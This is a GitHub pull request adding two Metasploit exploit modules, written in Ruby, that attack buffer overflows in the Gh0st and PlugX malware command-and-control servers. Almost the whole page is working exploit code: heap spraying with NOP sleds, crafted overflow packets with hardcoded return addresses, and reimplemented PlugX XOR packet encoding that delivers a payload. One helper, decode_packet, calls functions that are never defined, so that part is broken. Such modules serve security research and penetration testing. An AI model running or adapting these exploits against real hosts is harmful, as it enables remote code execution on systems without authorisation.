Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Gh0st, plugx, Controller Buffer Overflow Modules #8788

Merged
merged 7 commits into from
Sep 6, 2017
Merged
Show file tree
Hide file tree
Changes from 3 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
128 changes: 128 additions & 0 deletions modules/exploits/windows/misc/gh0st.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,128 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Gh0st Client buffer Overflow',
'Description' => %q{
This module exploits a Memory buffer overflow in the Gh0st client (C2 server)
},
'Author' => 'Professor Plum',
'License' => MSF_LICENSE,
'References' =>
[
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'AllowWin32SEH' => true
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => '',
'EncoderType' => Msf::Encoder::Type::AlphanumMixed
},
'Platform' => 'win',
'DisclosureDate' => 'Jul 27 2017',
'Targets' =>
[
['Gh0st Beta 3.6', { 'Ret' => 0x06001010 }]
],
'Privileged' => false,
'DefaultTarget' => 0))

register_options(
[
OptString.new('MAGIC', [true, 'the 5 char magic used by the server', 'Gh0st']),
Opt::RPORT(80)
], self.class
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

self.class isn't required

)
end

def make_packet(id, data)
msg = id.chr + data
compressed = Zlib::Deflate.deflate(msg)
datastore['MAGIC'] + [13 + compressed.size].pack('V') + [msg.size].pack('V') + compressed
end

def validate_response(data)
if data.nil?
print_status('Server closed connection')
return false
end
if data.empty?
print_status('No response recieved')
return false
end
if data.size < 13
print_status('Invalid packet')
print_status(data)
return false
end
mag, pktlen, msglen = data[0..13].unpack('a' + datastore['MAGIC'].size.to_s + 'VV')
if mag.index(datastore['MAGIC']) != 0
print_status('Bad magic: ' + mag[0..datastore['MAGIC'].size])
return false
end
if pktlen != data.size
print_status('Packet size mismatch')
return false
end
msg = Zlib::Inflate.inflate(data[13..data.size])
if msg.size != msglen
print_status('Packet decompress failure')
return false
end
# print_status(msg.ord.to_s)
return true
end

def check
connect
sock.put(make_packet(101, "\x00")) # heartbeat
if validate_response(sock.get_once || '')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end

def exploit
print_status("Trying target #{target.name}")
print_status('Spraying heap...')
for i in 0..100
connect
sock.put(make_packet(101, "\x90" * 3 + "\x90\x83\xc0\x05" * 1024 * 1024 + payload.encoded))
if not validate_response(sock.get_once)
disconnect
return
end
end

for i in 103..107
print_status("Trying command #{i}...")
begin
connect
sploit = make_packet(i, "\0" * 1064 + [target['Ret'] - 0xA0].pack('V') + 'a' * 28)
sock.put(sploit)
if validate_response(sock.get_once)
next
end
sleep(0.1)
break
rescue EOFError
print_status('Invalid')
end
end
handler
disconnect
end
end
171 changes: 171 additions & 0 deletions modules/exploits/windows/misc/plugx.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,171 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'PlugX Controller Stack Overflow',
'Description' => %q{
This module exploits a Stack buffer overflow in the PlugX Controller (C2 server)
},
'Author' => 'Professor Plum',
'License' => MSF_LICENSE,
'References' =>
[
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'AllowWin32SEH' => true
},
'Payload' =>
{
'Space' => 0xe000,
'BadChars' => '',
'EncoderType' => Msf::Encoder::Type::AlphanumMixed
},
'Platform' => 'win',
'DisclosureDate' => 'Jul 27 2017',
'Targets' =>
[
['PlugX Type I (old)', { 'xor' => 0, 'callebp' => 0x004045c4 }],
['PlugX Type I', { 'xor' => 1, 'callebp' => 0x004045c4 }],
['PlugX Type II', { 'xor' => 2, 'callebp' => 0x004045c4 }]
],
'Privileged' => false,
'DefaultTarget' => 2)
)

register_options(
[
Opt::RPORT(13579)
], self.class
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

self.class isn't required

)
end

def xor_stream1(key, src)
key0 = key1 = key2 = key3 = key
dst = ''
for i in 0..(src.size - 1)
key0 = (key0 + (key0 >> 3) - 0x11111111) & 0xFFFFFFFF
key1 = (key1 + (key1 >> 5) - 0x22222222) & 0xFFFFFFFF
key2 = (key2 + 0x44444444 - (key2 << 9)) & 0xFFFFFFFF
key3 = (key3 + 0x33333333 - (key3 << 7)) & 0xFFFFFFFF
new_key = (key2 + key3 + key1 + key0) & 0xFF
res = src[i].ord ^ new_key
dst += res.chr
end
dst
end

def xor_stream1a(key, src)
key0 = key1 = key2 = key3 = key
dst = ''
for i in 0..(src.size - 1)
key0 = (key0 + (key0 >> 3) + 3) & 0xFFFFFFFF
key1 = (key1 + (key1 >> 5) + 5) & 0xFFFFFFFF
key2 = (key2 - 7 - (key2 << 9)) & 0xFFFFFFFF
key3 = (key3 - 9 - (key3 << 7)) & 0xFFFFFFFF
new_key = (key2 + key3 + key1 + key0) & 0xFF
res = src[i].ord ^ new_key
dst += res.chr
end
dst
end

def xor_stream2(key, data)
dst = ''
for i in 0..(data.size - 1)
key = (((key << 7) & 0xFFFFFFFF) - ((key >> 3) & 0xFFFFFFFF) + i + 0x713A8FC1) & 0xFFFFFFFF
dst += ((key & 0xFF) ^ ((key >> 8) & 0xFF) ^ ((key >> 16) & 0xFF) ^ data[i].ord ^ ((key >> 24) & 0xFF)).chr
end
dst
end

def xor_wrap(key, data)
if target['xor'] == 0
return xor_stream1a(key, data)
elsif target['xor'] == 1
return xor_stream1(key, data)
elsif target['xor'] == 2
return xor_stream2(key, data)
end
print_status('Unknown PlugX Type')
end

def validate_response(data)
if data.nil?
print_status('Server closed connection')
return false
end
if data.empty?
print_status('No response recieved')
return false
end
if data.size < 16
print_status('Invalid packet')
print_status(data.inspect)
return false
end
key = data[0..4].unpack('<I')[0]
hdr = xor_wrap(key, data[0..16])
_x, _flags, _cmd, comp_size, _uncomp_size, _xx = hdr.unpack('<ISSSSI')
if (comp_size + 16) == data.size
raw = xor_wrap(key, data[16..-1])
print_status(raw.inspect)
return true
end
false
end

def check
connect
key = rand(0xFFFFFFFF)
hh = [key, 0, 0, 0, 0, 0].pack('<ISSSSI')
hdr = xor_wrap(key, hh)
sock.put([key].pack('<I') + hdr[4..-1])
if validate_response(sock.get_once || '')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end

def decode_packet(data)
key = data[0..4].unpack('<I')
_x, flags, _cmd, _comp_size, _uncomp_size, _xx = xorstream2(key, data[0..16]).unpack('<ISSSSI')

buf = xor_stream(key, data[16..-1])
buf = decompress(buf)
return the_flags[flags & 0xffff], xx, buf
end

def exploit
print_status("Trying target #{target.name}...")

l = 0xF008
pad = 0x18
a = 0x004045c4
pktlen = l + pad + 9
jmp = "\xe9" + [-pktlen].pack('<I')
key = rand(0xFFFFFFFF)
hh = [key, 0, 0, pktlen, pktlen, 0].pack('<ISSSSI')
hdr = xor_wrap(key, hh)
pkt = [key].pack('<I') + hdr[4..-1] + payload.encoded + 'A' * (l - payload.encoded.size) + [a].pack('<I') + 'x' * pad + jmp

connect
sock.put(pkt)

print_status('waiting for response')
validate_response(sock.get_once)
disconnect

handler
end
end